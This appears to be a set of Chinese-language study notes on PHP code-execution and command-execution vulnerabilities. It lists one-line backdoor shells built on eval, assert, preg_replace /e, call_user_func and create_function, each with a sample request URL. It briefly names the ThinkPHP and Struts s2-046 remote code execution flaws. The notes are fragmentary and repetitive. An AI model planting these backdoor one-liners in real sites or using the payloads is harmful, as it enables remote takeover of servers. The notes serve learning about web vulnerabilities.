- 代码执行
- 当应用在调用一些能将字符串转化成为代码的函数(比如php中的eval、assert等),没有考虑到用户能否控制这个字符。将会造成代码执行
- 使用方法:<?php eval($_GET['cmd']);?>
- 访问:xx.php?x=phpinfo();
- 注意,eval不属于函数而属于结构体,所以在构造回调函数得到后门时,eval函数无法使用时可用assert函数代替
- assert()
- 使用方法:<?php assert($_GET['cmd']);?>
- 访问:xx.php?x=phpinfo();
- preg_replace() --执行一个正则表达式的搜索与替换
- 使用方法:<?php preg_replace("/moon/e",$_GET['a'],"i love moon");?>
- call_user_func()
- 使用方法:mixed call_user_func ( callable $callback [, mixed $parameter [, mixed
$... ]] - 示例代码:<?php call_user_func($_GET['a'], $_GET['b']); ?>
- 访问:codeexec.php?a=assert&b=phpinfo()
- 使用方法:mixed call_user_func ( callable $callback [, mixed $parameter [, mixed
- call_user_func_array()
- 使用方法:mixed call_user_func_array ( callable $callback , array $param_arr )
- 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函
数的的参数传入。 - 示例代码:<?php call_user_func_array($_GET['a'], $_GET['b']); ?>
- 访问:codeexec.php?a=assert&b[]=phpinfo()
- create_function()
- 使用方法:string create_function ( string $args , string $code )
- 该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面
定义函数的参数,第二个参数是函数的代码。 - 示例代码:<?php
• $a = $_GET['a'];
• $b = create_function('$a',"echo $a");
• $b('');
• ?> -
-
-
-
-
ThinkPHP框架漏洞
-
漏洞名称:ThinkPHP远程代码执行漏洞
-
介绍:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
-
框架漏洞
-
POC
-
s2-046远程代码执行漏洞
-
手工操作我看不懂......不理解原理
-
-
- 命令执行
- 当web应用需要调用一些执行系统命令的函数时,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行
漏洞
- 当web应用需要调用一些执行系统命令的函数时,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行